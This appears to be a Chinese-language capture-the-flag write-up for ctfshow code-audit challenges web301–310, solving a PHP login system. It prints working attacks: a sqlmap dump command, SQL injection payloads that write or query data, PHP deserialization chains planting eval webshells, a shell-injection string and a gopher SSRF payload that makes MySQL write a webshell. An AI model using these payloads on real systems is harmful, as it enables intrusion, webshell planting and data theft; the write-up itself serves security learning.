CTFSHOW-代码审计
文章发布时间:
最后更新时间:
最后更新时间:
web301. 审计审计我三年前写的代码
题面打开看看是啥,常见的系统登陆框
{:height 375, :width 581}
直接定位至后端处理登陆逻辑处看看有无对参数进行校验
查看checklogin.php
,首先可以看到,直接拼接的sql语句,存在SQl注入
然后接下来再看看回显。会有页面跳转,然后报错的话会回显空白
{:height 272, :width 549}直接上sqlmap就可以解决
还是脚本小子香啊,这自己写时间盲注调参又得调好久 ![image.png](/image_1666283095777_0.png){:height 149, :width 344} 登陆1
sqlmap -u http://b28e9f2c-c18c-44fe-93a5-fa21350a1acc.challenge.ctf.show/checklogin.php --dbms mysql --method="POST" --data="userid=1" -D sds -T sds_user -C "sds_username,sds_password" --dump
- web302. 修改的地方
if(!strcasecmp(sds_decode($userpwd),$row['sds_password'])){
可以看到还是上一题的那套代码
其实没太看懂这里修改的有啥用,也就是前面还是没作校验啊。换一种SQL注入思路罢了,这里就直接写SHELL然后直接读或者蚁剑即可1
1' union select "<?php @assert($_POST['t']);?>" into outfile '/var/www/html/1.php' #
- web303.
继续分析diff,这里限制了username的长度不能超过6
{:height 113, :width 329}
说明这里基本上没有注入点了,我们先观察一下其他地方
在dptadd.php
中又存在insert注入,参数均可控且是拼接上去的
看下在页面上是怎么传递信息的
在dpt.php
上,可以通过新增数据传递信息至dptadd.php
。
然后再将查询的数据回显
{:height 214, :width 496}
所以后续的SQL注入已经找到,问题又回到了怎么才能登陆进去到index.php
模块上。一般在渗透上第一步都是先考虑弱口令,我们直接尝试admin/admin
之后就直接在新增功能点上进行insert注入即可1
2
3
4
5
6
7
8# 查库
whatever', sds_address=(database()) #
# 查表
whatever', sds_address=(select group_concat(table_name) from information_schema.tables where table_schema='sds') #
# 查字段
whatever', sds_address=(select group_concat(column_name) from information_schema.columns where table_name='sds_fl9g') #
# 查值
whatever', sds_address=(select group_concat(flag) from sds_fl9g) # - web304. 增加了全局WAF 同上
1
2
3function sds_waf($str){
return preg_match('/[0-9]|[a-z]|-/i', $str);
} - web305.
这回来真的WAF了
常用特殊符号都跟我ban了所以基本没戏
多了一个class.php,来分析一下很简单的php反序列化,可以写shell,看看触发点1
2
3
4
5
6
7
8
9
10
11class user{
public $username;
public $password;
public function __construct($u,$p){
$this->username=$u;
$this->password=$p;
}
public function __destruct(){
file_put_contents($this->username, $this->password);
}
}
位于登陆检测点checklogin.php
,通过cookie传入
{:height 142, :width 448}
那就直接利用即可发现并不在网站上,可能还是在数据库里,用蚁剑连一下1
2
3
4
5
6
7
8
9
10
11
12
13
14<?php
class User {
public $username;
public $password;
public function __construct()
{
$this ->username = "/var/www/html/1.php";
$this ->password = '<?php @eval($_POST["attack"]); ?>';
}
}
echo urlencode(serialize(new User()));
数据库配置如下
{:height 134, :width 577}
md,被搞了数据库密码竟然是root web306. 开始使用mvc结构
作者真的循循善诱,用同一套代码不断升级
可以看到多了三个文件config.php/dao.php/service.php
整个代码确实用mvc结构建立起来了,但是反序列化点还在
关注class.php
{:height 279, :width 400}
这里依然可反序列化写文件,但是需要其他类触发close 然后会发现在`dao.php`中dao类是可以调用成员对象的close方法,其对象可控 ![image.png](/image_1666353099474_0.png){:height 308, :width 273} 而触发点这次可以看到`index.php`导入了`service.php`,后者又导入了`dao.php/fun.php`,而dao.php导入了`class.php`,所以可以触发反序列化
所以需要先登陆进去即可触发,依然是弱口令`admin/admin1`1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21<?php
class log {
public $title;
public $info;
public function __construct() {
$this->title = "/var/www/html/1.php";
$this->info = '<?php @eval($_POST["attack"]) ?>';
}
}
class dao {
private $config;
private $conn;
public function __construct() {
$this->conn = new log();
}
}
echo base64_encode(serialize(new dao()));- web307. 是不是顺眼多了
这次连目录结构都规划完整了
首先还是去看我们的sink点,可以看到函数名换成了closelog
,而没有类成员再调用它了,只能换换看
找一下可以看到还有一个代码执行的sink点,位于dao.php
中,config成员属性可控
{:height 80, :width 633}
看看哪里可以调用clearCache
service.php
下service类
{:height 105, :width 415}
而该类又在logout.php
下可以触发
{:height 118, :width 658}
POP链已出
这里刚开始多写了一步导致出不来了,也就是我是拿service.php来作为反序列化起点的,但是仔细会发现,其在触发反序列化后,会重新初始化成员变量,那么之前的构造就断了,所以肯定不能从这类作起点,所以往后走一个从dao开始,也没啥影响(触发的函数名相同)
{:height 165, :width 425}1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19<?php
class config {
private $cache_dir;
public function __construct() {
// 这里需要注意shell中$为变量符号所以需要转义
$this->cache_dir = '; echo "<?php eval(\$_POST[1]);?>" > 1.php ;';
}
}
class dao {
private $config;
public function __construct() {
$this->config = new config();
}
}
echo base64_encode(serialize(new dao())); - web308. 需要拿shell
查看上一题的漏洞sink点,可以看到多了过滤,只能存在字母
但是仔细观察会发现在fun.php
中的checkUpdate
函数存在SSRF,对url并无过滤
我们是知道内网开了mysql服务,查看配置发现没设密码,典型的未授权访问,直接打getshell
利用gopher打mysql
触发点在index.php
中
前台登陆还是弱口令,然后cookie传入,连蚁剑,麻了我就说为啥这么卡,一看节点是美国的1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21<?php
class config {
public $update_url;
public function __construct() {
$this->update_url = "gopher://127.0.0.1:3306/_%a3%00%00%01%85%a6%ff%01%00%00%00%01%21%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%72%6f%6f%74%00%00%6d%79%73%71%6c%5f%6e%61%74%69%76%65%5f%70%61%73%73%77%6f%72%64%00%66%03%5f%6f%73%05%4c%69%6e%75%78%0c%5f%63%6c%69%65%6e%74%5f%6e%61%6d%65%08%6c%69%62%6d%79%73%71%6c%04%5f%70%69%64%05%32%37%32%35%35%0f%5f%63%6c%69%65%6e%74%5f%76%65%72%73%69%6f%6e%06%35%2e%37%2e%32%32%09%5f%70%6c%61%74%66%6f%72%6d%06%78%38%36%5f%36%34%0c%70%72%6f%67%72%61%6d%5f%6e%61%6d%65%05%6d%79%73%71%6c%48%00%00%00%03%73%65%6c%65%63%74%20%27%3c%3f%70%68%70%20%40%65%76%61%6c%28%24%5f%50%4f%53%54%5b%31%5d%29%3b%20%3f%3e%27%20%69%6e%74%6f%20%6f%75%74%66%69%6c%65%20%27%2f%76%61%72%2f%77%77%77%2f%68%74%6d%6c%2f%31%2e%70%68%70%27%3b%01%00%00%00%01";
}
}
class dao {
private $config;
public function __construct() {
$this->config = new config();
}
}
echo base64_encode(serialize(new dao())); - web309. 需要拿shell,308的方法不行了,mysql 有密码了
我的思路也是应该还有其他开放的服务,看看还有没有啥未授权
通过 gopher 协议的延时可以探测端口是否开放,开放的端口会保持连接,而未开放的端口会直接返回页面结果,经探测后 9000端口开放,基本可以确定是 fastcgi
{:height 387, :width 671} - web310. 代码审计告一段落
这题就算是积累经验吧,没尝试再去访问9000,因为看了wp说关了(后面看配置其实没关啊,其实是flag换了个位置而已)。这里换一个思路,服务器中间件为nginx,所以尝试去读一下其配置文件看看,绝对路径为/etc/nginx/nginx.conf
https://deepzz.com/post/how-to-write-nginx-server.html会发现其在4476端口还有个旁站,并且对应的目录及其特别,我们尝试访问(不过只能ssrf访问),应该是有ip限制1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54# worker进程个数,一般为 CPU 个数,也可选 auto
worker_processes auto;
# 错误日志保存路径和级别
error_log /var/log/nginx/error.log warn;
events {
# 每个worker最大连接数
worker_connections 1024;
}
# http 服务定义
http {
# 加载 mime 类型
include /etc/nginx/mime.types;
# 定义默认数据类型
default_type application/octet-stream;
# 是否调用sendfile函数(zero copy 方式)来输出文件,如果磁盘IO重负载应用,可设置为off
sendfile on;
keepalive_timeout 65;
server {
listen 80; # 监听端口
server_name localhost;
root /var/www/html;
index index.php;
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
// 根据 URI 进行配置设置的
location / {
try_files $uri $uri/ /index.php?$args;
}
// ~ 区分大小写的正则表达式匹配
location ~ \.php$ {
try_files $uri =404;
fastcgi_pass 127.0.0.1:9000;
fastcgi_index index.php;
include fastcgi_params;
fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;
}
}
server {
listen 4476;
server_name localhost;
root /var/flag;
index index.html;
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
}
}